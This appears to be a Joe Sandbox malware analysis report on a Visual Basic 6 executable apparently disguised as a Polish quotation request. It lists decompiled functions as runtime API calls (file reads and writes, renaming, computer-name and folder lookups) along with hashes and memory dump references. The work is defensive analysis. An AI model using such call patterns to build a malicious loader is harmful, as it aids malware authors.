__vbaFileSeek.MSVBVM60(?,00000000), ref: 00421B26
__vbaI2I4.MSVBVM60 ref: 00421B36
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00421B43
__vbaI2I4.MSVBVM60 ref: 00421B72
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 00421B7B

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BAA
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BB9
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BCD
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BDB
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BED
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BF8
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C51
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C5E
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C6E
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C7B
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CB9
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CC4
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CD4
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CE1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CF1
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CFE
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D20
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D27
#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D56
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D65
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D79
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D87
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D97
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D9E
#580.MSVBVM60(?,00000026,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DB1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DC5
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DD3
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DE5
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DF0
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E49
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E56
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E66
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E73
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EB1
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EBC
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421ECC
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421ED9
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EE9
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EF6
#598.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F10
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F25
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F2C
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F3C
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F43
__vbaStrCat.MSVBVM60(004086A8,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F59
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F64
__vbaStrCat.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F71
#600.MSVBVM60(00000008,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F87
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F96
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F9F
#600.MSVBVM60(00004008,00000000), ref: 00421FC5
__vbaFreeStr.MSVBVM60(00422028), ref: 00421FFD
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422006
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 0042200F
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422018
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422021
__vbaErrorOverflow.MSVBVM60 ref: 0042203F

Strings

E, xrefs: 00421FA5

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$FileMove$CloseGet3$#525$CopyOpenPut3$#516#631#648BstrErrorSeek$#580#600Chkstk$#529#537#570#598ListOverflow
String ID: E
API String ID: 1020712489-3568589458
Opcode ID: 76b9ac4220b8a9f889e2395c6dcac48a977a3f37ee100d0a82cf9b9d0917f290
Instruction ID: 07c48357a9df06a9d6fdd80bdbc38809ff137e737b5eacf3c703d77614347229
Opcode Fuzzy Hash: 76b9ac4220b8a9f889e2395c6dcac48a977a3f37ee100d0a82cf9b9d0917f290
Instruction Fuzzy Hash: FC22D571900248EBDB04DFE0EA4CBDEBB74FF48305F208169E602BB2A5DBB55A45CB14

Function 004228E0 Relevance: 54.2, APIs: 36, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
#648.MSVBVM60(0000000A), ref: 00422959
__vbaFreeVar.MSVBVM60 ref: 00422968
__vbaI2I4.MSVBVM60(?), ref: 0042297C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
__vbaI2I4.MSVBVM60 ref: 0042299A
#570.MSVBVM60(00000000), ref: 004229A1
__vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
__vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
#525.MSVBVM60(00000000), ref: 004229EC
__vbaStrMove.MSVBVM60 ref: 004229F7
__vbaI2I4.MSVBVM60 ref: 00422A07
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
__vbaI2I4.MSVBVM60 ref: 00422A22
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422A4A
__vbaStrCopy.MSVBVM60 ref: 00422A68
__vbaStrMove.MSVBVM60(00000003), ref: 00422A79
#616.MSVBVM60(00000000), ref: 00422A80
__vbaStrMove.MSVBVM60 ref: 00422A8B

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00422AA0
__vbaStrCmp.MSVBVM60(00000000), ref: 00422AA7
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422ACE

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?), ref: 00422AF4
__vbaStrMove.MSVBVM60(00000004), ref: 00422B15
#618.MSVBVM60(00000000), ref: 00422B1C
__vbaStrMove.MSVBVM60 ref: 00422B27
__vbaI4Str.MSVBVM60(00000000), ref: 00422B2E
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422B45
__vbaI2I4.MSVBVM60 ref: 00422B78
__vbaFileClose.MSVBVM60(00000000), ref: 00422B7F
__vbaFreeStr.MSVBVM60(00422BC8), ref: 00422BB8
__vbaFreeStr.MSVBVM60 ref: 00422BC1
__vbaErrorOverflow.MSVBVM60 ref: 00422BDE

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$FreeMove$#516#631BstrCopyFile$ErrorList$#525#537#570#616#618#648ChkstkCloseGet3OpenOverflowSeek
String ID:
API String ID: 1066637744-0
Opcode ID: 1310a2324c3d0e81e2fafee1945da52a380a74b9ab6bd6eb12e74ada3333a6c7
Instruction ID: 321561c39fc04c0ddddefdb4371944f0511538a09f439f710ae93618e622a53c
Opcode Fuzzy Hash: 1310a2324c3d0e81e2fafee1945da52a380a74b9ab6bd6eb12e74ada3333a6c7
Instruction Fuzzy Hash: A681D675D00248EFDB04EFA0EA48BDEBBB4FF48705F108169E612B72A0DB745A49CB54

Function 00415AF0 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E

Part of subcall function 004156D0: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041570B
Part of subcall function 004156D0: __vbaSetSystemError.MSVBVM60(00000000), ref: 00415719
Part of subcall function 004156D0: __vbaStrToUnicode.MSVBVM60(?,?), ref: 00415724
Part of subcall function 004156D0: __vbaFreeStr.MSVBVM60 ref: 0041572D

#580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
#529.MSVBVM60(00004008), ref: 00415B88
#609.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00415BB5
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 00415BC0
__vbaVarDup.MSVBVM60 ref: 00415BDA
#709.MSVBVM60(00000000,00406544,000000FF,00000000,?), ref: 00415C0F
#616.MSVBVM60(00000000,00000000), ref: 00415C1C
__vbaStrMove.MSVBVM60 ref: 00415C27
#650.MSVBVM60(00000008,?,00000001,00000001,00000000), ref: 00415C3A
__vbaStrMove.MSVBVM60 ref: 00415C45
__vbaStrCat.MSVBVM60(00000000), ref: 00415C4C
__vbaStrMove.MSVBVM60 ref: 00415C57
#535.MSVBVM60(00000000), ref: 00415C5E
__vbaStrR4.MSVBVM60 ref: 00415C68
__vbaStrMove.MSVBVM60 ref: 00415C73
__vbaStrCat.MSVBVM60(00000000), ref: 00415C7A
__vbaStrMove.MSVBVM60 ref: 00415C85
__vbaNameFile.MSVBVM60(00000000), ref: 00415C8C
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,?,00000000), ref: 00415CAC
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,00000000,004032B6), ref: 00415CBF

Strings

yymmdd, xrefs: 00415BC6

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$ErrorList$#529#535#580#609#616#650#709AnsiChkstkFileNameSystemUnicode
String ID: yymmdd
API String ID: 2807397001-2871001947
Opcode ID: 0a52f3ea78d8377f9a2e471ac3c9d7155881456b4ba9d1ca500980605009cd58
Instruction ID: da5027675b2f5c6fcc5daed963e92fc9253badbc1f1ecd6ba165b842c6da7c45
Opcode Fuzzy Hash: 0a52f3ea78d8377f9a2e471ac3c9d7155881456b4ba9d1ca500980605009cd58
Instruction Fuzzy Hash: 48511D75900208EFDB04DF94D948BDEBBB8FF48305F108569F506BB2A0DB745A48CB94

Function 00429CA0 Relevance: 27.1, APIs: 18, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaSetSystemError.MSVBVM60(00000064,004031C0,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429CF6
#525.MSVBVM60(00000200,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D05
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D16
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D20
SHGetPathFromIDList.SHELL32(?,00000000), ref: 00429D30
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D3A
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D43
#537.MSVBVM60(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D50
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5B
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5F
#616.MSVBVM60(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D73
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D7E
__vbaStrCat.MSVBVM60(00406544,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D86
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D91
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D9D
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DB5
__vbaFreeStr.MSVBVM60(00429DEF,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DE8
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429E05

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Free$ErrorList$#525#537#616AnsiCopyFromOverflowPathSystemUnicode
String ID:
API String ID: 3494673155-0
Opcode ID: 06e0597c0c0a64de7a739e86bbd130d0eaa357415623081fa9728b986bb3ce25
Instruction ID: 358cedcb50fb0de278f4ad7536de046e5609ba25d4bc9f82414949036a89438a
Opcode Fuzzy Hash: 06e0597c0c0a64de7a739e86bbd130d0eaa357415623081fa9728b986bb3ce25
Instruction Fuzzy Hash: 46310E71D10219AFDB04EFB5DD89DEEBBB8EF58700F10812AE506B6260DA785905CB64

Function 0041E880 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,0040BC8B), ref: 0041E89E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8CE
#525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8E0
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E8EB
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041E8FC
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041E911
GetComputerNameA.KERNEL32(00000000), ref: 0041E91D
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041E92B
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E934
#537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041E949
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E954
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041E95D
#616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041E96D
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E978
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E981
__vbaFreeStr.MSVBVM60(0041E9B5,?,?,?,00000000,Function_000032B6), ref: 0041E9AE
__vbaErrorOverflow.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E9C9

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$FreeMove$Error$#525#537#616AnsiBstrChkstkComputerNameOverflowUnicode
String ID:
API String ID: 3892761589-0
Opcode ID: 315b392100c3462b08fcc4b1466ef19faf135d5fa9e097fc028cf97c92f61f1c
Instruction ID: ddd52465c9ed4945c744d66910b811b9efcc79ef8180f597879438901a225856
Opcode Fuzzy Hash: 315b392100c3462b08fcc4b1466ef19faf135d5fa9e097fc028cf97c92f61f1c
Instruction Fuzzy Hash: 3531ECB5900149EFDB04EFA4DE4DBDEBBB8EB08701F108169E502B62A0DB755A44CB64

Function 004156D0 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041570B
__vbaSetSystemError.MSVBVM60(00000000), ref: 00415719
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00415724
__vbaFreeStr.MSVBVM60 ref: 0041572D

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: bdf559da7314384f190e296f1ac055395a927108a04aa4df9cc8b86ae63a2552
Instruction ID: 3bfd6651098160e42727f528c249f020de588879550cabcf3784d8fb116c8987
Opcode Fuzzy Hash: bdf559da7314384f190e296f1ac055395a927108a04aa4df9cc8b86ae63a2552
Instruction Fuzzy Hash: 1A0121B1D00605EFCB04EFB8D94AAEF7BB8EB44700F50466AF515E3290D73899468B95

Function 00415780 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157BB
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157C9
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157D4
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157DD

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: 83a8390b36b60fd734ea8c397f5819164e647e3c1d550d8bc1d44403629c9ffe
Instruction ID: 842bb0dc7b1d712480adeb04c5aa04fa762cb34ee96fa383d986c0466198cab9
Opcode Fuzzy Hash: 83a8390b36b60fd734ea8c397f5819164e647e3c1d550d8bc1d44403629c9ffe
Instruction Fuzzy Hash: 580152B1C00605DFCB00EFA8C94AAAF7BB8EB44700F50422AE511E3290D73859428B95

Function 00403670 Relevance: 1.7, APIs: 1, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(00403ED4), ref: 00403675

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: 11ea1c51b5a51515781a12991443ec066bd5106ecc6824d3c35676c3fc523bff
Instruction ID: 87d76072f60c1bc7f33af001724cdeb9567c685050ecb4be3524b273619080b8
Opcode Fuzzy Hash: 11ea1c51b5a51515781a12991443ec066bd5106ecc6824d3c35676c3fc523bff
Instruction Fuzzy Hash: 805185A680E7C15FC70387704D756557FB0AE23209B2E86EBC4C0DB1E3E2AD590AD766

Non-executed Functions

Function 00416130 Relevance: 720.3, APIs: 407, Strings: 3, Instructions: 2826COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00416205
__vbaSetSystemError.MSVBVM60 ref: 00416230
__vbaSetSystemError.MSVBVM60 ref: 00416251
__vbaStrMove.MSVBVM60(?), ref: 00416271
__vbaStrMove.MSVBVM60(0042C028), ref: 00416284
__vbaGenerateBoundsError.MSVBVM60 ref: 004162D2
__vbaGenerateBoundsError.MSVBVM60 ref: 00416315
__vbaStrCat.MSVBVM60(00000000,00407CCC,00000000,00000001), ref: 00416350
__vbaStrMove.MSVBVM60 ref: 00416357
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0041635F
__vbaStrMove.MSVBVM60 ref: 00416366
__vbaInStr.MSVBVM60(00000001,00000000), ref: 0041636B
